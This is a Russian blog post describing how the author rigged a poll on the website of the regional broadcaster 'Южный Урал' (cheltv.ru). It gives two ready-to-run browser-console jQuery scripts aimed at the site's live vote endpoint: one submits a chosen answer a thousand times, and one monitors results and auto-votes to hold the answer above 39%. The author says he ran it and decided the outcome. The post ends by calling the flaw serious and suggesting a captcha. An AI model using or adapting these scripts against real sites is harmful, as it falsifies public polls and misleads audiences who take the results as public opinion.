Pull to refresh

Накрутка голосов в опросе на сайте крупной областной телевизионной компании

Все нижеописанное было сделано только «just for fun» и не ради какой-либо выгоды.

Телевизионная компания, о которой пойдет речь, это государственная телевизионная и радиовещательная компания «Южный Урал». День назад мне дали ссылку на опрос, суть которого сводилась «за» или «против». Немного свободного времени и праздного любопытства — и я обнаружил, что голоса можно накручивать, если удалять куки. Я пошел дальше, стал смотреть как это всё работает «под капотом» в исходном коде и обнаружил интересные вещи.

Как всё работало:

  1. Посетитель сайта делает свой выбор и нажимает кнопку отправить
  2. На нужный адрес отправлялась форма
  3. Скрипты делали метку в куки и блокировали возможность повторно отправлять форму

Чтобы понять как и куда отправляется форма, немного последил за сетевой активностью сайта, встроенными в браузер инструментами. На сайте используется JQuery. Далее, немного подумав, родил скрипт:

for (i=0;i<1000;i++){
   var url = 'http://www.cheltv.ru/ajax/interviews/answer';
   var data = 
      {	
      	   'interviews_id': 26,
	   'answer[26]': 113,
      };
   $.ajax({		
	   type:"POST",
	   url:url,
	   data:data,
	   dataType: "json"
   });
};

Смысл его прост: тысячу раз отправляем форму с ответом, минуя «защиту» от накрутки. Осталось его запустить. Для этого в Гугл Хром открываем инструмент разработчика (ctrl + shift + i), находим консоль, в ней находим строку ввода и благополучно вставляем наш скрипт, нажимаем энтер и наслаждаемся работой скрипта.

На стороне сервера абсолютно ни какой защиты от данного способа накрутки. В ответ по запросу на адрес 'http://www.cheltv.ru/ajax/interviews/answer' возвращается JSON.

{"content":{"statistics":{"112":21,"113":38,"114":21,"115":1,"116":19},"just_stored":true}})

Но не обязательно голосовать, чтобы получить результаты, можно отправить запрос по адресу 'http://www.cheltv.ru/ajax/interviews/statistics/26' и в ответе будет почти тот же JSON с результатами голосования.

{"content":{"112":21,"113":38,"114":21,"115":1,"116":19}}

Немного усложнив скрипт, можно контролировать результаты.

setInterval(function() {
  iknow();
}, 60000);

function iknow(){
	$.ajax({		
		type:"POST",
		url:'http://www.cheltv.ru/ajax/interviews/statistics/26',
		dataType: "json", 
		success: function(json)
		{
			console.log(json.content['113']);
			if(json.content['113']<39) {
				upper();
			};
			
		},
	});
	
}
function upper(){
	setTimeout(function(){
		var url = 'http://www.cheltv.ru/ajax/interviews/answer';
		var data = 
			{	
				'interviews_id': 26,
				'answer[26]': 113,
				//TODO Add date field			
			};
		sendD(data, url);
	}, (Math.random() * (30000 - 1000) + 1000));
}
	

function sendD(data,url)
{		
	$.ajax({		
		type:"POST",
		url:url,
		data:data,
		dataType: "json", 
		success: function(json)
		{
			console.log(json.content.statistics['113']);
			if(json.content.statistics['113']<39) {
				upper();
			}
			
		},
	});
}

Приведенный скрипт раз в минуту самостоятельно опрашивает сервер и при снижении результатов по одному из ответов ниже порога (в моем случае 39%) начинает слать форму с ответом на опрос. запускаем скрипт и оставляем открытую вкладку работать на весь день. Победитель выбран.

На мой взгляд это серьезная уязвимость для новостной телекомпании, ведь результаты опроса затем могут транслироваться по телевидению и радио как отражение общественного мнения. Стоило немного продумать механизм блокировки подобных действий. Да хотя бы капчу поставить!
Tags:
Hubs:
You can’t comment this publication because its author is not yet a full member of the community. You will be able to contact the author only after he or she has been invited by someone in the community. Until then, author’s username will be hidden by an alias.